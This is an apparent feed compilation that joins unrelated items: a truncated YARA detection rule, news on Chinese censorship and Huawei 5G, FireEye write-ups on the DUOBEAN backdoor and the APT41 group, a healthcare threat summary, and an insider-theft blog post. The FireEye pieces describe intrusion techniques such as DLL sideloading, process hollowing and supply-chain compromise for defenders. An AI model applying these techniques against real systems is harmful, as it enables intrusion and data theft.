                        $pcre = /RSDS[\x00-\xFF]{20}[a-zA-Z]:\\[\x00-\xFF]{0,200}\.pdb\x00/

            condition:

                        (uint16(0) == 0x5A4D) and uint32(uint32(0x3C)) == 0x00004550 and #pcre == 2

}

China cracks down on ‘sexual innuendo’ and ‘celebrity gossip’ in new censorship rules

Controls on the ‘online information content ecosystem’ bring heightened concern about freedom of speech

Sweeping new internet censorship rules have gone into effect in China, prompting concerns that authorities will further control information and online debate as the country reels from the coronavirus outbreak.

China’s cybersecurity administration has since Saturday implemented a set of new regulations on the governance of the “online information content ecosystem” that encourage “positive” content while barring material deemed “negative” or illegal.

Related: ‘They’re chasing me’: the journalist who wouldn’t stay quiet on Covid-19

Related: Dramatic fall in China pollution levels ‘partly related’ to coronavirus

Continue reading...

Managed Defense: The Analytical Mindset

When it comes to cyber security (managed services or otherwise), you’re ultimately reliant on analyst expertise to keep your environment safe. Products and intelligence are necessary pieces of the security puzzle to generate detection signal and whittle down the alert chaff, but in the end, an analyst’s trained eyes and investigative process are the deciding factors in effectively going from alerts to answers in your organization.

This blog post highlights the events of a recent investigation by FireEye Managed Defense to showcase the investigative tooling and analysis process of our analysts.

Threat Overview

Recently, FireEye Managed Defense responded to a suspected China-nexus threat group campaign targeting the transportation, construction, and media sectors in Southeast Asia. FireEye’s investigative findings uncovered previously unseen malware, DUOBEAN, a backdoor that solicits additional modules from command-and-control (C2) infrastructure and injects them into process memory.

Initial Lead

Our initial lead for this activity originated from threat hunting in Managed Defense, which identified a ZIP archive containing a malicious LNK file with embedded PowerShell commands to download and inject a malicious payload into victim process memory. The attachment was blocked by a FireEye ETP appliance in Southeast Asia, but network indicators for the payload were extracted for monitoring suspicious infrastructure.

When IP addresses are tasked for monitoring, our network sensors record traffic observed to the suspicious destination for further analysis by our Managed Defense team during threat hunting activities. When new leads from monitored traffic have been collected, our analysts use an internal tool, MDASH, as a dashboard for exploring suspicious network activity.

Analyst Perspective

With mountains of evidence available from endpoint telemetry and network traffic, it’s critical to interrogate artifacts with purposeful lines of questioning in order to respond to threat actor activity as effectively as possible without getting lost in the data.

In this engagement, we have the initial lead for DUOBEAN activity being a tracked IP address that has generated a lead for hunting. Given this type of evidence, there’s a few questions we’re interested in answering before looking at the PCAP contents.

Why did we start monitoring this indicator?

The most important action an analyst can take when evaluating any indicator is understanding what it is trying to detect. For FireEye, the monitored network infrastructure is commented by the author to provide necessary context for analysts that review generated leads.

In this case, our team identified that a recent sample of CHAINLNK from a blocked ETP attachment in Southeast Asia beaconed to infrastructure serving the same SSL certificate. Related infrastructure reusing SSL certificates were enumerated when a malicious domain was gathered from the payload and scoped using PassiveTotal to identify SSL certificates associated with the IP. Certificate SHA-1 was then searched against PassiveTotal results to identify an additional network asset serving the same certificate. This overlapping certificate use is illustrated in Figure 1.


Figure 1: Suspicious infrastructure observed in hunting activity

How long have we been tracking this IP Address?

IP addresses can be some of the most volatile indicators in the world of security. The operational cost for an attacker to transition infrastructure is nominal, so the accuracy of the indicator will decrease as time marches on.

In this instance, the IP address had only been monitored for seven (7) days which increased the credibility of the indicator given the relative freshness.

What’s the prevalence of this activity?

Prevalence of traffic to an IP address gives us a baseline for normalcy. Large volumes of traffic from multiple varying hosts in multiple organizations changes our frame of reference to be less suspicious about the activity, while traffic from a few consistent internal hosts at one or few clients would be more consistent with targeted attacker activity.

In this engagement, we observed six (6) hosts from one organization making consistent HTTPS requests (without response) to the infrastructure. This limited scope would be consistent with more suspicious activity.

How frequently is activity being observed?

Frequency of traffic informs an analyst of whether the activity is programmatic or interactive. Identical activity at consistent intervals is not something humans can easily replicate. Although malware regularly uses variable lengths of time for beaconing, consistent outbound requests in cadence are telling us that some programmatic task is occurring to generate the activity, not a user session.

In this engagement, we observed outbound traffic occurring from all six (6) hosts at 15 minute intervals which was indicative of programmatic activity initiating the requests.

How much information is being passed between these hosts?

Strictly looking at netflow information, the byte size and directionality of the traffic will also inform your analysis on what you’re observing. Small consistently sized outbound packets tends to be more representative of beaconing traffic (legitimate or otherwise), while varied request/response sizes with frequency communication suggests interactivity.

In this engagement, we observed only a few bytes of outbound traffic on each of the hosts, consistent with beaconing.

Without looking at the packets, our line of questioning against the flow data already begins to characterize the content as highly suspicious. Looking at the network capture content (Figure 2), we observe that the outbound traffic gathered is strictly TLS Client Hello traffic to a free domain, which are commonly employed by attackers.


Figure 2: TLS Client Hello from packet capture

Given the findings from the hunting investigation, the Managed Defense team immediately informed the customer that further endpoint analysis was going to be performed on the six (6) host communicating with the suspicious infrastructure. At the time, the customer was not instrumented with FireEye Endpoint Security, so portable collections were captured for each of the hosts and securely uploaded to the Managed Defense team for analysis.

Further Analysis

Endpoint collections containing Windows file system metadata, Windows Registry, Windows Event Logs, web browser history, and a process listing with active network connections were gathered for Managed Defense analysts.

Windows Event Logs by themselves can have hundreds of thousands if not millions of entries. As an analyst, it’s increasingly important to be specific in what questions you’re looking to answer during endpoint investigations. In this case, we have one leading question to begin our investigation: What application is regularly communicating with our suspicious infrastructure?

Active network connections indicated that legitimate Windows binary, “msiexec.exe”, was responsible for the network connection to the suspicious infrastructure. This information was also included in detailed process tracking evidence (EID 4688) from Windows Event Logs listed in Figure 3.


Figure 3: Windows Event Log detailing suspicious use of “msiexec.exe”

The legitimate application “msiexec.exe”, is responsible for command-line installation and modification of Windows Installer applications (*.msi files), and rarely makes network connections. From an analyst’s perspective, the low occurrence of network activity in standard use from this binary elicits suspicions of process injection. The parent process in this instance is also in a minimally privileged %AppData%\Roaming directory commonly used for malware persistence. 

As an analyst, we’re confident at this point that malicious activity is occurring on the host. Our line of questioning now transitions from exploring the source of network traffic to discovering the scope of the compromise on the host. To triage, we will use the following line of questioning:

What is it?

For this question, we’re interested in understanding the attacker behavior on the victim computer, specifically the malware in this investigation. This includes functionality and persistence mechanisms used.

With our initial lead being the potential staging directory of %AppData%\Roaming from the Windows Event Log listing, we’ll first look at any files created within a few minutes of “eeclnt.exe”. A Mandiant Redline listing of the files returned from filtering the directory is shown in Figure 4.


Figure 4: Mandiant Redline file listing from potential staging directory, %Appdata%\Roaming

Three (3) suspicious files in question are returned “eeclnt.exe”, “MSVCR110.dll”, and “MSVCR110.dat”. These files are uploaded to the FLARE team’s internal malware sandbox, Horizon, for further analysis.

PE File information indicates that “eeclnt.exe” is a legitimate copy of the ESET Smart Security binary with a required import of “MSVCR110.dll”. “MSVCR110.dll” supplementary library required for applications developed with Microsoft Visual C++. In this case, “MSVCR110.dll” was replaced with a malicious loader DLL. When “eeclnt.exe” executes, it imports the malicious DLL “MSVCR110.dll”, which loads the backdoor contained in “MSVCR110.dat” into “msiexec.exe” process memory through process hollowing. This technique is called “sideloading” and is commonly used by attackers to evade detection by using legitimate executables to run malicious code.

After initial triage from a Managed Defense analyst, the backdoor was passed along to our FLARE team to reverse engineer for additional identification of malware functionality and family identification. In this case, the backdoor was previously unseen so the Managed Defense analyst who identified the malware named it DUOBEAN.

How does it persist?

On Windows hosts, malware normally persists in one of three ways: Registry “Run” keys that run a specific application anytime a specific user (in some cases any user) authenticate into the workstation. Windows Services, long-standing background processes typically started at machine boot; and scheduled tasks that run an arbitrary command or binary at a designated interval.

In this case, by filtering for the sideloaded binary, “eeclnt.exe”, we quickly identified a Windows Service, “Software Update”, created around the file creation timestamp that maintained persistence for the DUOBEAN backdoor.

How did it get there?

This can be one of the more challenging questions to answer in the investigative world. With limited data retention times and rolling log data, the initial vector is not always easily discerned.

In this case, pivoting to look at browser history and file system modification around the time the DUOBEAN backdoor was created on the victim endpoint led us to our answers. Mandiant Redline output to detail the timeline of initial compromise is displayed in Figure 5.


Figure 5: Mandiant Redline output containing the host initial compromise timeline

The timeline of events shows that the user was phished from their personal Gmail, opening the password protected CHAINLNK attachment delivered from a OneDrive link embedded in the email. Malicious PowerShell commands observed from Windows Event Logs contained in Figure 6 following the activity indicate that CHAINLNK successfully executed and downloaded DUOBEAN.


Figure 6: Malicious CHAINLNK PowerShell commands observed in Windows Event Logs

No further activity was identified from this host based on the investigative evidence provided, and Managed Defense continued to scope the environment for additional indicators of compromise. This specific threat actor was detected early in the attack lifecycle which limited the impact of the threat actor and enabled Managed Defense to guide the victim organization through a quick remediation.

Summary

The China-nexus threat actor activity detailed above expanded to multiple customers, and eventually escalated to a Managed Defense Community Protection Event (CPE). CPEs are rapidly progressing campaigns targeting multiple customers with substantial potential for business impact. Managed Defense customers are immediately notified of CPE activity, indicators are deployed to monitor customer products, and the Managed Defense Consulting team provides insight on how to mitigate risk.

Regardless of the scale of your investigation, time is of the essence. Drowning under investigative data without a clear line of questioning buys attackers additional time to impose their agenda on your organization. Remember, products and intelligence are components of your security practice, but expertise is required in order to transform those inputs into an effective response.

Boris Johnson gets final warning with Huawei 5G verdict imminent

Former senior government figures voice security fears as PM chairs meeting of NSC

Former ministers have sounded their final warnings to Boris Johnson about the Chinese telecoms firm Huawei ahead of his expected decision on whether it will play a part in the UK’s 5G network.

The prime minister will chair a meeting of the national security council (NSC) later on Tuesday before making a judgment on the firm’s future in the country after months of concern around security, including from the US president, Donald Trump.

5G is the next generation mobile phone network and it promises much higher connection speeds, lower latency (response times) and to be more reliable than the creaking 4G networks we have now.

Huawei is a Chinese telecoms company founded in 1987. US officials believe it poses a security risk because the Chinese government will make the firm engineer backdoors in its technology, through which information could be accessed by Beijing. Donald Trump has banned US companies from sharing technology with Huawei and has been putting pressure on other nations to follow suit.

Continue reading...

Healthcare: Research Data and PII Continuously Targeted by Multiple Threat Actors

The healthcare industry faces a range of threat groups and malicious activity. Given the critical role that healthcare plays within society and its relationship with our most sensitive information, the risk to this sector is especially consequential. It may also be one of the major reasons why we find healthcare to be one of the most retargeted industries.

In our new report, Beyond Compliance: Cyber Threats and Healthcare, we share an update on the types of threats observed affecting healthcare organizations: from criminal targeting of patient data to less frequent – but still high impact – cyber espionage intrusions, as well as disruptive and destructive threats. We urge you to review the full report for these insights, however, these are two key areas to keep in mind.

  • Chinese espionage targeting of medical researchers: We’ve seen medical research – specifically cancer research – continue to be a focus of multiple Chinese espionage groups. While difficult to fully assess the extent, years of cyber-enabled theft of research trial data might be starting to have an impact, as Chinese companies are reportedly now manufacturing cancer drugs at a lower cost to Western firms.
  • Healthcare databases for sale under $2,000:  The sheer number of healthcare-associated databases for sale in the underground is outrageous. Even more concerning, many of these databases can be purchased for under $2,000 dollars (based on sales we observed over a six-month period).

To learn more about the types of financially motivated cyber threat activity impacting healthcare organizations, nation state threats the healthcare sector should be aware of, and how the threat landscape is expected to evolve in the future, check out the full report here, or give a listen to this podcast conversation between Principal Analyst Luke McNamara and Grady Summers, EVP, Products:

For a closer look at the latest breach and threat landscape trends facing the healthcare sector, register for our Sept. 17, 2019, webinar.

For more details around an actor who has targeted healthcare, read about our newly revealed APT group, APT41.

APT41: A Dual Espionage and Cyber Crime Operation

Today, FireEye Intelligence is releasing a comprehensive report detailing APT41, a prolific Chinese cyber threat group that carries out state-sponsored espionage activity in parallel with financially motivated operations. APT41 is unique among tracked China-based actors in that it leverages non-public malware typically reserved for espionage campaigns in what appears to be activity for personal gain. Explicit financially-motivated targeting is unusual among Chinese state-sponsored threat groups, and evidence suggests APT41 has conducted simultaneous cyber crime and cyber espionage operations from 2014 onward.

The full published report covers historical and ongoing activity attributed to APT41, the evolution of the group’s tactics, techniques, and procedures (TTPs), information on the individual actors, an overview of their malware toolset, and how these identifiers overlap with other known Chinese espionage operators. APT41 partially coincides with public reporting on groups including BARIUM (Microsoft) and Winnti (Kaspersky, ESET, Clearsky).

Who Does APT41 Target?

Like other Chinese espionage operators, APT41 espionage targeting has generally aligned with China's Five-Year economic development plans. The group has established and maintained strategic access to organizations in the healthcare, high-tech, and telecommunications sectors. APT41 operations against higher education, travel services, and news/media firms provide some indication that the group also tracks individuals and conducts surveillance. For example, the group has repeatedly targeted call record information at telecom companies. In another instance, APT41 targeted a hotel’s reservation systems ahead of Chinese officials staying there, suggesting the group was tasked to reconnoiter the facility for security reasons.

The group’s financially motivated activity has primarily focused on the video game industry, where APT41 has manipulated virtual currencies and even attempted to deploy ransomware. The group is adept at moving laterally within targeted networks, including pivoting between Windows and Linux systems, until it can access game production environments. From there, the group steals source code as well as digital certificates which are then used to sign malware. More importantly, APT41 is known to use its access to production environments to inject malicious code into legitimate files which are later distributed to victim organizations. These supply chain compromise tactics have also been characteristic of APT41’s best known and most recent espionage campaigns.

Interestingly, despite the significant effort required to execute supply chain compromises and the large number of affected organizations, APT41 limits the deployment of follow-on malware to specific victim systems by matching against individual system identifiers. These multi-stage operations restrict malware delivery only to intended victims and significantly obfuscate the intended targets. In contrast, a typical spear-phishing campaign’s desired targeting can be discerned based on recipients' email addresses.

A breakdown of industries directly targeted by APT41 over time can be found in Figure 1.

 


Figure 1: Timeline of industries directly targeted by APT41

Probable Chinese Espionage Contractors

Two identified personas using the monikers “Zhang Xuguang” and “Wolfzhi” linked to APT41 operations have also been identified in Chinese-language forums. These individuals advertised their skills and services and indicated that they could be hired. Zhang listed his online hours as 4:00pm to 6:00am, similar to APT41 operational times against online gaming targets and suggesting that he is moonlighting. Mapping the group’s activities since 2012 (Figure 2) also provides some indication that APT41 primarily conducts financially motivated operations outside of their normal day jobs.

Attribution to these individuals is backed by identified persona information, their previous work and apparent expertise in programming skills, and their targeting of Chinese market-specific online games. The latter is especially notable because APT41 has repeatedly returned to targeting the video game industry and we believe these activities were formative in the group’s later espionage operations.


Figure 2: Operational activity for gaming versus non-gaming-related targeting based on observed operations since 2012

The Right Tool for the Job

APT41 leverages an arsenal of over 46 different malware families and tools to accomplish their missions, including publicly available utilities, malware shared with other Chinese espionage operations, and tools unique to the group. The group often relies on spear-phishing emails with attachments such as compiled HTML (.chm) files to initially compromise their victims. Once in a victim organization, APT41 can leverage more sophisticated TTPs and deploy additional malware. For example, in a campaign running almost a year, APT41 compromised hundreds of systems and used close to 150 unique pieces of malware including backdoors, credential stealers, keyloggers, and rootkits.

APT41 has also deployed rootkits and Master Boot Record (MBR) bootkits on a limited basis to hide their malware and maintain persistence on select victim systems. The use of bootkits in particular adds an extra layer of stealth because the code is executed prior to the operating system initializing. The limited use of these tools by APT41 suggests the group reserves more advanced TTPs and malware only for high-value targets.

Fast and Relentless

APT41 quickly identifies and compromises intermediary systems that provide access to otherwise segmented parts of an organization’s network. In one case, the group compromised hundreds of systems across multiple network segments and several geographic regions in as little as two weeks.

The group is also highly agile and persistent, responding quickly to changes in victim environments and incident responder activity. Hours after a victimized organization made changes to thwart APT41, for example, the group compiled a new version of a backdoor using a freshly registered command-and-control domain and compromised several systems across multiple geographic regions. In a different instance, APT41 sent spear-phishing emails to multiple HR employees three days after an intrusion had been remediated and systems were brought back online. Within hours of a user opening a malicious attachment sent by APT41, the group had regained a foothold within the organization's servers across multiple geographic regions.

Looking Ahead

APT41 is a creative, skilled, and well-resourced adversary, as highlighted by the operation’s distinct use of supply chain compromises to target select individuals, consistent signing of malware using compromised digital certificates, and deployment of bootkits (which is rare among Chinese APT groups).

Like other Chinese espionage operators, APT41 appears to have moved toward strategic intelligence collection and establishing access and away from direct intellectual property theft since 2015. This shift, however, has not affected the group's consistent interest in targeting the video game industry for financially motivated reasons. The group's capabilities and targeting have both broadened over time, signaling the potential for additional supply chain compromises affecting a variety of victims in additional verticals.

APT41's links to both underground marketplaces and state-sponsored activity may indicate the group enjoys protections that enables it to conduct its own for-profit activities, or authorities are willing to overlook them. It is also possible that APT41 has simply evaded scrutiny from Chinese authorities. Regardless, these operations underscore a blurred line between state power and crime that lies at the heart of threat ecosystems and is exemplified by APT41.

Forcing the Adversary to Pursue Insider Theft

Jack Crook pointed me toward a story by Christopher Burgess about intellectual property theft by "Hongjin Tan, a 35 year old Chinese national and U.S. legal permanent resident... [who] was arrested on December 20 and charged with theft of trade secrets. Tan is alleged to have stolen the trade secrets from his employer, a U.S. petroleum company," according to the criminal complaint filed by the US DoJ.

Tan's former employer and the FBI allege that Tan "downloaded restricted files to a personal thumb drive." I could not tell from the complaint if Tan downloaded the files at work or at home, but the thumb drive ended up at Tan's home. His employer asked Tan to bring it to their office, which Tan did. However, he had deleted all the files from the drive. Tan's employer recovered the files using commercially available forensic software.

This incident, by definition, involves an "insider threat." Tan was an employee who appears to have copied information that was outside the scope of his work responsibilities, resigned from his employer, and was planning to return to China to work for a competitor, having delivered his former employer's intellectual property.

When I started GE-CIRT in 2008 (officially "initial operating capability" on 1 January 2009), one of the strategies we pursued involved insider threats. I've written about insiders on this blog before but I couldn't find a description of the strategy we implemented via GE-CIRT.

We sought to make digital intrusions more expensive than physical intrusions.

In other words, we wanted to make it easier for the adversary to accomplish his mission using insiders. We wanted to make it more difficult for the adversary to accomplish his mission using our network.

In a cynical sense, this makes security someone else's problem. Suddenly the physical security team is dealing with the worst of the worst!

This is a win for everyone, however. Consider the many advantages the physical security team has over the digital security team.

The physical security team can work with human resources during the hiring process. HR can run background checks and identify suspicious job applicants prior to granting employment and access.

Employees are far more exposed than remote intruders. Employees, even under cover, expose their appearance, likely residence, and personalities to the company and its workers.

Employees can be subject to far more intensive monitoring than remote intruders. Employee endpoints can be instrumented. Employee workspaces are instrumented via access cards, cameras at entry and exit points, and other measures.

Employers can cooperate with law enforcement to investigate and prosecute employees. They can control and deter theft and other activities.

In brief, insider theft, like all "close access" activities, is incredibly risky for the adversary. It is a win for everyone when the adversary must resort to using insiders to accomplish their mission. Digital and physical security must cooperate to leverage these advantages, while collaborating with human resources, legal, information technology, and business lines to wring the maximum results from this advantage.